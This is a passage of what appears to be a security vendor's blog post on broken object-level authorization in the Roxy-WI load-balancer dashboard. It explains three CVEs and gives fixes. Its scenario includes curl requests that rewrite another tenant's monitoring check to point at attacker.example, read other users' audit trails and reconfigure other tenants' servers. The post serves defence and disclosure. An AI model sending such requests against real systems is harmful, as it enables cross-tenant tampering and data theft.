check_id they were given becomes the check_id belonging to a different tenant, the server respects the change, and they are now reading and rewriting another customer's monitoring configuration. Roxy-WI, a web interface for managing HAProxy, Nginx, Apache, and Keepalived, shipped exactly this class in three places at once. CVE-2026-45550 (CVSS 9.1) lets any authenticated user rewrite any tenant's HTTP, TCP, Ping, or DNS monitoring check. CVE-2026-45563 lets a guest read any other user's full action audit trail. CVE-2026-45552 (CVSS 9.9) lets that same guest reconfigure exporters and WAF on every registered server, across every tenant boundary. None of them is a memory bug or a clever payload. Each is a missing object-level authorization check on a tool that holds cross-tenant data. This piece walks the decision tree from a scoped foothold to a cross-tenant read, and the contract that closes it.
There is a quiet assumption in most multi-tenant platforms: that the dangerous code is the customer-facing application, and the internal operations and monitoring tooling is somehow safer because it is "for the team." The opposite is true. Ops and monitoring dashboards are where cross-tenant data concentrates. They hold every tenant's server IPs, every health-check target, every config version, the action history of who touched what, and the privileged SSH and API credentials the tool uses to reach those servers. A bug that exposes one customer record in the product is a bad day. A bug that exposes the object that maps a tenant to its servers and credentials is a tenant-wide breach. The weakest link in that tooling is almost never authentication. It is object-level authorization: the check that the thing you are asking for is actually yours.
This is part of our attack-research series on the classes that ship despite a decade of patches, and it is the operations-tooling companion to our piece on multi-tenant isolation and the cross-tenant read your IAM policy allows. Where that piece walked the cloud control plane, this one walks the application layer of the dashboards that sit on top of it. The root cause is the same shape: isolation is treated as a property of the login when it is really a property of every single object reference. Verifiable security.
The attack pattern in one paragraph
A multi-tenant operations tool authenticates users and groups them into tenants. Every object it manages, a monitoring check, a server, a config version, an audit record, carries a numeric or string identifier the client supplies on read and write. The correct design verifies two things on every request: that the caller is authenticated, and that the specific object they named belongs to their group. The broken design verifies only the first. It checks that you are logged in, that you have some group, maybe even that you hold the right role, and then it runs the operation against whatever check_id, server_ip, or user_id you put in the request, with no filter binding that object to your tenant. This is Broken Object Level Authorization, the top entry in the OWASP API Security Top 10 (API1:2023), and the underlying weakness is CWE-639, Authorization Bypass Through User-Controlled Key. The attacker enumerates identifiers, which are usually small sequential integers, and the server happily serves or mutates objects that belong to other tenants. There is no payload, no memory corruption, and no privilege-escalation chain. The control that should exist simply is not there.
The unifying observation: authentication proves who you are; object-level authorization proves the object is yours. Ops tooling routinely ships the first and forgets the second, on exactly the objects that hold cross-tenant data.
A sibling class reaches the same outcome from a different root cause. In our piece on JWT claim confusion that collapses tenant isolation, the caller holds a perfectly valid signed token and the server still crosses the tenant line: same outcome, different root cause, claim-to-resource binding there versus a missing query filter here.
Why this still ships in 2026
BOLA is the most-reported API vulnerability class precisely because it is structurally easy to leave out. Four reasons it keeps shipping, all visible in the Roxy-WI disclosures.
- The right pattern exists elsewhere in the same codebase. In CVE-2026-45550, the DELETE path on a monitoring check is correctly scoped: it runs
WHERE id = ? AND user_group = ?. The UPDATE path, in the same module, runsWHERE smon_id = ?with no group filter at all. The maintainers demonstrably know the correct pattern. They simply did not apply it on every verb. Object authorization is per-handler, and one missed handler is the whole bug. - The framework decorator gives a false sense of coverage. Roxy-WI's install blueprint declares a single
@jwt_required()onbefore_request. That makes every endpoint authenticated, which looks like security. But authentication is not authorization. In CVE-2026-45552, the individual endpoints never call the group-ownership check, so the blanket "you must be logged in" rule lets a guest reconfigure servers in every tenant. A green "all routes require auth" audit hides a total absence of object-level checks. - Ops tools grow endpoints faster than they grow review. A monitoring product accretes routes: install an exporter, save a section, read history, restart an agent. Each new route is a new object reference that needs its own ownership check, and the checks are invisible by their absence. Nothing fails, nothing logs, and the endpoint works perfectly for its legitimate caller. The missing check only shows up when someone changes the identifier.
- The identifiers are guessable and the blast radius is privileged. Monitoring checks, users, and servers are keyed by small sequential integers or by server IP. Enumeration is trivial. And because the tool acts on the target with its own stored credentials, frequently passwordless sudo or a per-server SSH key, a cross-tenant write is not just a data-integrity problem. It is code execution on another tenant's infrastructure, performed by the trusted tool on the attacker's behalf.
The attacker decision tree
The five-step tree from a scoped guest account to a cross-tenant read and write, driven entirely by changing one identifier.
The decisive insight at step 2 is that the attacker does not escalate their role at all. The role check is correct, and they accept it. They look for the object reference on the requests they are already allowed to make, and they change it. The whole exploit is the gap between "you are allowed to call this endpoint" and "you are allowed to touch this specific object." On a monitoring tool, every check, every server, and every history record is such an object, and any one of them without an ownership filter is the win.
A composite real-world scenario
The setting is a managed-services provider running one shared Roxy-WI instance to manage the load balancers of dozens of customers, each customer mapped to its own Roxy-WI group. The intent is textbook tenancy: a customer's staff get accounts scoped to their group, and a low-trust contractor gets the read-only guest role (role 4) so they can watch dashboards without touching anything. The login is correct, the RBAC role assignment is correct, and a quick review of the route table shows every sensitive route carries an authentication decorator. It looks isolated.
The guest contractor opens their own monitoring check in the UI and watches the request the browser sends. It is a PUT /smon/check carrying a check_id and the check's target URL, IP, and expected body. Their own check is check_id 4012. They change one field.
# The guest's own, legitimate request
$ curl -s -X PUT https://ops.example/smon/check \
-H "Authorization: Bearer $GUEST_JWT" \
-H "Content-Type: application/json" \
-d '{"check_id": 4012, "url": "https://my-app.example/health"}'
{ "status": "updated" }
# Change ONE number. 4011 belongs to a DIFFERENT tenant.
$ curl -s -X PUT https://ops.example/smon/check \
-H "Authorization: Bearer $GUEST_JWT" \
-H "Content-Type: application/json" \
-d '{"check_id": 4011, "url": "https://attacker.example/collector"}'
{ "status": "updated" } # <-- cross-tenant WRITE accepted
The server accepted it. As CVE-2026-45550 describes, the handler gated only on "the caller has some group," then ran the SQL update with WHERE smon_id = ? and no user_group filter. The guest has now silently repointed another tenant's health check at a host they control. The same instance also exposes CVE-2026-45563, so before touching anything they can map the whole estate by reading other users' action histories:
# Read any other user's full action audit trail (CVE-2026-45563)
# /history/user/ reuses the path param as a user-id, no ownership check
$ curl -s https://ops.example/history/user/7 -H "Authorization: Bearer $GUEST_JWT"
[ {"action":"deploy_config","server_ip":"10.20.0.5","ts":"2026-06-09T11:02Z"},
{"action":"restart_haproxy","server_ip":"10.20.0.5","ts":"2026-06-09T11:04Z"} ]
# One read = the other tenant's server inventory and operator activity.
The escalation from cross-tenant read to cross-tenant control is the install blueprint. Under CVE-2026-45552, the install endpoints inherit only the blanket @jwt_required() and never call the group-ownership check, so the guest can target a server they enumerated from the history above and have Roxy-WI install or reconfigure an exporter or WAF on it, using the SSH credential a different tenant provisioned:
# Reconfigure an exporter on another tenant's server (CVE-2026-45552)
# server_ip is never checked against the caller's group.
$ curl -s -X POST https://ops.example/install/exporter \
-H "Authorization: Bearer $GUEST_JWT" \
-d 'server_ip=10.20.0.5&...'
{ "task_id": "...", "status": "queued" }
# Roxy-WI runs the Ansible playbook over the OTHER tenant's stored SSH key.
No password was cracked, no role was escalated, and no memory was corrupted. The attacker changed a check_id, read a user_id that was not theirs, and named a server_ip in another tenant. The boundary that failed was never authentication. It was the missing object-level check on the very objects, monitoring checks, history records, and servers, where cross-tenant data and privileged credentials live. Total elapsed time from a read-only guest account to controlling another tenant's load balancer: a few minutes of changing identifiers.
What we observe in customer environments
We are honest about the limits of our visibility. CelvexGroup's continuous validation runs against assets and surfaces a customer scopes in, and our probes are deliberately read-only and benign, carrying an X-Celvex-Probe attribution header so the customer's SOC can always identify our traffic. We do not mutate other tenants' objects in production. What we do fingerprint, structurally and with two-identity comparison against scoped staging, is whether an object reference is bound to the caller's tenant. Across web and API engagements over the past nine months, the rough breakdown on internal ops, monitoring, and admin tooling:
- Roughly one in five internal ops or monitoring dashboards we reviewed had at least one write endpoint that authenticated the caller but never bound the target object to the caller's tenant or group, the exact CVE-2026-45550 shape.
- Roughly one in four tools that used a framework-level "require auth" decorator relied on it as their only gate on a sensitive route, with no per-object ownership check underneath, the CVE-2026-45552 shape.
- A meaningful minority exposed a read endpoint, history, export, or detail view, that reflected a user-supplied identifier into a record lookup with no ownership filter, the CVE-2026-45563 shape.
- Object identifiers were small sequential integers in the large majority of these tools, making enumeration trivial and turning a single missing check into a full-estate read.
The honest read: cross-tenant BOLA in ops tooling is not exotic and it is not rare. It is the highest-impact finding we ship against internal dashboards, because these tools concentrate cross-tenant data and the credentials to act on it. A clean authentication review and a clean RBAC matrix give a false all-clear, because the missing control sits one layer below both.
What to do about it: the object-authorization contract
The fix is not a single flag. But it reduces to one contract every multi-tenant endpoint must satisfy, and the controls are cheap relative to the blast radius.
Cross-tenant object-authorization contract: controls that end the class
- Bind every object reference to the caller's tenant in the query itself. Every read and every write must carry the ownership filter, for example
WHERE id = ? AND user_group = ?, on the same statement that fetches or mutates the object. Apply it on every verb, not just DELETE. The single missed UPDATE is the whole CVE-2026-45550. - Never treat "is authenticated" as "is authorized for this object." A blanket
@jwt_required()or framework auth decorator proves identity, not ownership. Each endpoint that names an object must independently verify that the named object belongs to the caller. This closes the CVE-2026-45552 install-blueprint gap. - Authorize the identifier in the request, not the menu in the UI. Hiding an object from a tenant's screen is not access control. The server must reject an out-of-tenant
check_id,user_id, orserver_ipeven when the client sends it directly, because the attacker always sends it directly. - Centralize the ownership check and make its absence fail the build. Route every object lookup through one authorization helper, and add a test or lint rule that flags any handler touching a tenant-scoped table without it. Object authorization is the one control that is invisible by omission, so make omission loud.
- Use unguessable identifiers as defense in depth, not as the control. Random UUIDs slow enumeration, but they are not authorization. Pair them with the ownership filter; never rely on them alone.
- Test isolation with two identities, not one. For every tenant-scoped object, run a two-account probe: create as tenant A, then attempt read and write as tenant B, and assert a hard reject. A passing single-user test proves nothing about cross-tenant access.
Authentication proves who you are. Object-level authorization proves the object is yours. Ops tooling ships the first and forgets the second, on exactly the objects that hold cross-tenant data.
The audit, in concrete terms, starts by listing every endpoint that accepts an object identifier and checking each for an ownership filter:
# Find handlers that take an object id but never bind it to the caller's group
# (the BOLA precondition). Grep the routes, then read each hit.
$ grep -rnE "check_id|user_id|server_ip|/<[a-z_]+_id>" app/routes/ \
| grep -vE "user_group|is_user_has_access|check_user_group" \
&& echo "^ endpoints to review for missing object-ownership check"
# Confirm the OWNERSHIP filter is present on every verb, not just DELETE
$ grep -rnE "WHERE .*(id|smon_id) *=" app/modules/db/ \
| grep -v "user_group"
# Any update/select WHERE id=? with no AND user_group=? is a candidate BOLA.
Read each flagged handler. Confirm the object named in the request is checked against the caller's group before the operation runs, on reads and writes alike. The exercise is finishable in a day for a single tool, and it converts the highest-blast-radius bug in internal tooling into a closed door. For the API-side controls behind this contract, see our API security capability.
How Celvex catches this
Find. Prove. Fix. Verify.
The scanner enumerates endpoints that accept an object identifier and fingerprints whether each binds the object to the caller's tenant, using read-only structural checks and two-identity comparison against scoped staging, every request attributed with an X-Celvex-Probe header.
For a confirmed cross-tenant reference we ship a signed Proof Capsule against a two-tenant fixture: the exact request, the tenant-A object read or written by tenant B, and the missing ownership filter, Ed25519-signed and reproducible offline.
The Capsule's remediation block points at the object-authorization control scoped to the failing handler: the ownership filter to add to the query, or the per-object check to wire under the auth decorator.
After the fix lands, the two-identity probe shows tenant B's request to a tenant-A object is rejected. The finding closes automatically and the dashboard records the verified-fix event for the audit trail.
Where we sit on the autonomy curve: at L1.5 today, our API-security track fingerprints the missing-ownership-filter shape on monitoring and admin tooling, runs the two-identity comparison on scoped staging, and ships a reproducible Proof Capsule for each confirmed cross-tenant reference. At L2 within 90 days, the corpus extends the two-identity probe across full CRUD per object type, so a missing filter on any single verb surfaces even when the others are correctly scoped. At L3 within twelve months, the scanner infers tenant-scoped object types in unfamiliar tools it fingerprints in customer environments and synthesizes the ownership probe for each. We do not claim L3 today. We do claim our L1.5 catches the cross-tenant BOLA shape above and ships a signed Capsule for each.
Bottom line
The cross-tenant read that exposes an entire customer base rarely comes from a clever exploit. It comes from a missing object-level authorization check on a tool that holds everyone's data, and operations and monitoring dashboards are where that data concentrates. The Roxy-WI disclosures, CVE-2026-45550, CVE-2026-45552, and CVE-2026-45563, are the 2026 reminders that authentication is not authorization and that a blanket "require login" decorator hides a total absence of per-object checks. The fix is a contract: bind every object reference to the caller's tenant in the query itself, on every verb, authorize the identifier in the request rather than the menu in the UI, and verify isolation with two identities, not one. Until you check that the object is yours, a clean login screen and a tidy RBAC matrix are one changed identifier away from a tenant-wide breach.
Verifiable security. Find it. Prove it. Fix it. Verify the fix held. That is what we ship.
Sources
- GitHub Security Advisory: Roxy-WI CVE-2026-45550, IDOR on PUT /smon/check (cross-tenant monitoring-check rewrite)
- GitHub Security Advisory: Roxy-WI CVE-2026-45552, cross-tenant authorization bypass on /install/*
- GitHub Security Advisory: Roxy-WI CVE-2026-45563, IDOR cross-user action-history read
- OWASP API Security Top 10: API1:2023 Broken Object Level Authorization (BOLA)
- MITRE CWE-639: Authorization Bypass Through User-Controlled Key
- MITRE CWE-862: Missing Authorization
- CELVEX Group: API Security capability
- CELVEX Group: Proof Capsule format
Probe your own ops and monitoring tooling.
Free Exposure Check, no signup required. We map the object references your internal tools expose and ship a signed Proof Capsule for the highest-confidence cross-tenant authorization gap.
Run a Free Scan →